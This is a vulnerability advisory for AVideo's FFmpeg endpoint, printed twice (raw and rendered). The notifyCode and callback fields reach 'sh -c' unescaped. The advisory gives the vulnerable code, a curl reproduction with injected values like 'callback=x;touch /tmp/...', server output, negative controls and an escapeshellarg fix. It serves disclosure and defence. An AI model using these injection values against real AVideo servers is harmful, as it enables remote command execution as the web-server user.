Summary
The standalone FFmpeg execution endpoint plugin/API/standAlone/ffmpeg.json.php builds a shell command string that is passed to execAsync() and run via nohup sh -c "<command>". When the decrypted codeToExec payload produces a non-empty avideoPath, the endpoint appends a completion hook of the form:
&& php <script> notify=<escaped-json> notifyCode=<codeToExec->notifyCode> callback=<codeToExec->callback>
The notify value on this line is wrapped with escapeshellarg(), but the two adjacent fields notifyCode and callback are concatenated raw. Both fields originate from the same decrypted, attacker-controlled codeToExec object as ffmpegCommand, but neither passes through the sanitizeFFmpegCommand() denylist (only ffmpegCommand does) and neither is shell-escaped. An attacker who can craft a valid encrypted payload can therefore inject arbitrary shell commands into the sh -c context by placing shell metacharacters in callback or notifyCode, achieving OS command execution as the web-server user.
This is a residual sibling of the recently hardened sanitizeFFmpegCommand() denylist: the denylist now strips ; | < > & $ ( ) \n \r { }fromffmpegCommand, but the two sibling fields on the same completion-hook line were never routed through it nor escaped, even though the notify` value beside them on the very same line already is escaped.
Vulnerable code
plugin/API/standAlone/ffmpeg.json.php (master HEAD, around lines 406-412):
if (!empty($output['avideoPath'])) {
if (file_exists($output['avideoPath'])) {
unlink($output['avideoPath']);
}
$outputJson = escapeshellarg(json_encode($output));
$ffmpegCommand .= " && php " . escapeshellarg(__DIR__ . "/ffmpeg.json.php") . " notify={$outputJson} notifyCode={$codeToExec->notifyCode} callback={$codeToExec->callback}";
}
$outputJson is escaped; $codeToExec->notifyCode and $codeToExec->callback are interpolated raw.
The only field that is sanitized earlier is ffmpegCommand (line ~129):
$ffmpegCommand = !empty($codeToExec->ffmpegCommand) ? sanitizeFFmpegCommand($codeToExec->ffmpegCommand) : '';
sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php, line ~105) strips shell metacharacters:
$command = preg_replace('/[;|`<>&$()\n\r{}]/', '', $command);
notifyCode / callback never touch this function.
The composed string flows to execAsync() in objects/functionsExec.php (around line 705), which runs it via sh -c:
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";
exec($commandWithKeyword, $output, $retval);
addcslashes($command, '"') earlier in execAsync() escapes only double quotes, not ;, $(...), backticks, etc., so injected metacharacters in notifyCode / callback reach the shell intact.
Reachability
The completion-hook branch (&& php ... notify=) runs only when $output['avideoPath'] is non-empty. avideoPath is set by the regex at line ~146:
preg_match('/ [\'"]?(\/[0-9a-z_\/-]+\/videos\/([0-9a-z_\/-]+)\/([0-9a-z_-]+\.(mp4|mp3)))[\'"]?/i', $ffmpegCommand, $matches);
This is trivially satisfied by including a benign /.../videos/<dir>/<name>.mp4 output path in ffmpegCommand (a normal FFmpeg command already contains one). The malicious callback / notifyCode need no metacharacter-free constraint because they bypass the denylist entirely.
Privilege required
Same trust boundary as the parent command-injection fix in this file: an attacker who can craft a valid encrypted codeToExec payload with a valid APISecret. _decryptString() calls the platform decryptString API, which runs encrypt_decrypt() (AES-256-CBC; key = hash('sha256', $global['saltV2']), iv = substr(hash('sha256', $global['systemRootPath']), 0, 16)). The decrypted payload is accepted when payload->time is within the last 30 seconds. The endpoint requires no interactive login.
Reproduction (end-to-end, against master HEAD)
Deployed the master HEAD source (commit 8eaca9d5, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer (install/checkConfiguration.php) which created the database from install/database.sql and wrote videos/configuration.php with a freshly generated salt / saltV2, and enabled the API plugin. The decryptString and isAPISecretValid platform APIs were confirmed live over HTTP. APISecret is md5($global['salt'] . $global['systemRootPath'] . 'API') and matched the value stored by the plugin.
A codeToExec object was encrypted exactly as the platform does (encryptString()), with:
time = now
ffmpegCommand = ffmpeg -i /var/www/html/AVideo/videos/x/in.mp4 -c copy /var/www/html/AVideo/videos/x/out.mp4 (contains an avideoPath so the completion hook fires)
callback = x;touch /tmp/avideo_cb_rce_1782909419_26863
POST to the endpoint:
curl -s -X POST "http://<host>/plugin/API/standAlone/ffmpeg.json.php" \
--data-urlencode "APISecret=<APISecret>" \
--data-urlencode "codeToExecEncrypted=<encrypted codeToExec>"
Verbatim response (note the composed command: notify='{...}' is escaped, but callback=x;touch /tmp/... is raw):
{"error":false,"msg":"Command executed","command":"ffmpeg -i /var/www/html/AVideo/videos/x/in.mp4 -c copy /var/www/html/AVideo/videos/x/out.mp4 -metadata keyword='kwtest' > /var/www/html/AVideo/videos/ffmpegLogs/ffmpeg_kwtest.log && php '/var/www/html/AVideo/plugin/API/standAlone/ffmpeg.json.php' notify='{\"avideoPath\":\"/var/www/html/AVideo/videos/x/in.mp4\",\"avideoRelativePath\":\"videos/x/in.mp4\",\"avideoFilename\":\"x\",\"videoBasename\":\"in.mp4\",\"avideoExstension\":\"mp4\"}' notifyCode=nc1 callback=x;touch /tmp/avideo_cb_rce_1782909419_26863 2>&1","pid":17212,"logFile":"/var/www/html/AVideo/videos/ffmpegLogs/ffmpeg_kwtest.log"}
The injected touch ran (marker created by the web-server user):
-rw-r--r-- 1 www-data www-data 0 Jul 1 12:40 /tmp/avideo_cb_rce_1782909419_26863
The same result holds with the payload in notifyCode instead of callback:
... notifyCode=x;touch /tmp/avideo_nc_rce_1782909675_26515 callback=cb1 2>&1
-rw-r--r-- 1 www-data www-data 0 Jul 1 12:41 /tmp/avideo_nc_rce_1782909675_26515
Negative control 1 (benign callback=benigncallback, no metacharacters): same code path, marker NOT created:
... notifyCode=benignnotify callback=benigncallback 2>&1
ls: cannot access '/tmp/avideo_neg1_1782909646_19909': No such file or directory
Negative control 2 (the same ;touch payload placed inside the guarded ffmpegCommand field instead): sanitizeFFmpegCommand() strips the ;, so no injection occurs and the marker is NOT created. The composed command shows the semicolon removed (out.mp4touch /tmp/...), proving the gap is specific to the two unguarded sibling fields:
command: ...out.mp4touch /tmp/avideo_neg2_1782909660_14042 -metadata keyword='kwtest'...
ls: cannot access '/tmp/avideo_neg2_1782909660_14042': No such file or directory
Patched re-run (after applying the fix below): the payload is now single-quoted by escapeshellarg() and the marker is NOT created:
... notifyCode='nc1' callback='x;touch /tmp/avideo_cb_rce_PATCHED_1782909755_8511' 2>&1
ls: cannot access '/tmp/avideo_cb_rce_PATCHED_1782909755_8511': No such file or directory
Impact
Arbitrary OS command execution on the AVideo host as the web-server user (the same user that owns the application files and configuration, including the database credentials and saltV2). From there an attacker can read and modify site data, pivot to the database, and persist. This is the full-severity command-execution outcome, reached through a field that the current sanitizer does not cover.
Suggested fix
Escape both sibling fields with escapeshellarg(), mirroring the existing $outputJson = escapeshellarg(...) on the same line:
$ffmpegCommand .= " && php " . escapeshellarg(__DIR__ . "/ffmpeg.json.php")
. " notify=" . $outputJson
. " notifyCode=" . escapeshellarg((string)$codeToExec->notifyCode)
. " callback=" . escapeshellarg((string)$codeToExec->callback);
Equivalently, route notifyCode and callback through the same allowlist/denylist used for ffmpegCommand. Escaping at the concatenation site is preferred because it is the shell-quoting boundary and cannot be bypassed by later transformations.
Credit
Reported by tonghuaroot.
Summary
The standalone FFmpeg execution endpoint
plugin/API/standAlone/ffmpeg.json.phpbuilds a shell command string that is passed toexecAsync()and run vianohup sh -c "<command>". When the decryptedcodeToExecpayload produces a non-emptyavideoPath, the endpoint appends a completion hook of the form:The
notifyvalue on this line is wrapped withescapeshellarg(), but the two adjacent fieldsnotifyCodeandcallbackare concatenated raw. Both fields originate from the same decrypted, attacker-controlledcodeToExecobject asffmpegCommand, but neither passes through thesanitizeFFmpegCommand()denylist (onlyffmpegCommanddoes) and neither is shell-escaped. An attacker who can craft a valid encrypted payload can therefore inject arbitrary shell commands into thesh -ccontext by placing shell metacharacters incallbackornotifyCode, achieving OS command execution as the web-server user.This is a residual sibling of the recently hardened
sanitizeFFmpegCommand()denylist: the denylist now strips; |< > & $ ( ) \n \r { }fromffmpegCommand, but the two sibling fields on the same completion-hook line were never routed through it nor escaped, even though thenotify` value beside them on the very same line already is escaped.Vulnerable code
plugin/API/standAlone/ffmpeg.json.php(master HEAD, around lines 406-412):$outputJsonis escaped;$codeToExec->notifyCodeand$codeToExec->callbackare interpolated raw.The only field that is sanitized earlier is
ffmpegCommand(line ~129):sanitizeFFmpegCommand()(plugin/API/standAlone/functions.php, line ~105) strips shell metacharacters:notifyCode/callbacknever touch this function.The composed string flows to
execAsync()inobjects/functionsExec.php(around line 705), which runs it viash -c:addcslashes($command, '"')earlier inexecAsync()escapes only double quotes, not;,$(...), backticks, etc., so injected metacharacters innotifyCode/callbackreach the shell intact.Reachability
The completion-hook branch (
&& php ... notify=) runs only when$output['avideoPath']is non-empty.avideoPathis set by the regex at line ~146:This is trivially satisfied by including a benign
/.../videos/<dir>/<name>.mp4output path inffmpegCommand(a normal FFmpeg command already contains one). The maliciouscallback/notifyCodeneed no metacharacter-free constraint because they bypass the denylist entirely.Privilege required
Same trust boundary as the parent command-injection fix in this file: an attacker who can craft a valid encrypted
codeToExecpayload with a validAPISecret._decryptString()calls the platformdecryptStringAPI, which runsencrypt_decrypt()(AES-256-CBC; key =hash('sha256', $global['saltV2']), iv =substr(hash('sha256', $global['systemRootPath']), 0, 16)). The decrypted payload is accepted whenpayload->timeis within the last 30 seconds. The endpoint requires no interactive login.Reproduction (end-to-end, against master HEAD)
Deployed the master HEAD source (commit
8eaca9d5, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer (install/checkConfiguration.php) which created the database frominstall/database.sqland wrotevideos/configuration.phpwith a freshly generatedsalt/saltV2, and enabled the API plugin. ThedecryptStringandisAPISecretValidplatform APIs were confirmed live over HTTP.APISecretismd5($global['salt'] . $global['systemRootPath'] . 'API')and matched the value stored by the plugin.A
codeToExecobject was encrypted exactly as the platform does (encryptString()), with:time= nowffmpegCommand=ffmpeg -i /var/www/html/AVideo/videos/x/in.mp4 -c copy /var/www/html/AVideo/videos/x/out.mp4(contains anavideoPathso the completion hook fires)callback=x;touch /tmp/avideo_cb_rce_1782909419_26863POST to the endpoint:
Verbatim response (note the composed command:
notify='{...}'is escaped, butcallback=x;touch /tmp/...is raw):The injected
touchran (marker created by the web-server user):The same result holds with the payload in
notifyCodeinstead ofcallback:Negative control 1 (benign
callback=benigncallback, no metacharacters): same code path, marker NOT created:Negative control 2 (the same
;touchpayload placed inside the guardedffmpegCommandfield instead):sanitizeFFmpegCommand()strips the;, so no injection occurs and the marker is NOT created. The composed command shows the semicolon removed (out.mp4touch /tmp/...), proving the gap is specific to the two unguarded sibling fields:Patched re-run (after applying the fix below): the payload is now single-quoted by
escapeshellarg()and the marker is NOT created:Impact
Arbitrary OS command execution on the AVideo host as the web-server user (the same user that owns the application files and configuration, including the database credentials and
saltV2). From there an attacker can read and modify site data, pivot to the database, and persist. This is the full-severity command-execution outcome, reached through a field that the current sanitizer does not cover.Suggested fix
Escape both sibling fields with
escapeshellarg(), mirroring the existing$outputJson = escapeshellarg(...)on the same line:Equivalently, route
notifyCodeandcallbackthrough the same allowlist/denylist used forffmpegCommand. Escaping at the concatenation site is preferred because it is the shell-quoting boundary and cannot be bypassed by later transformations.Credit
Reported by tonghuaroot.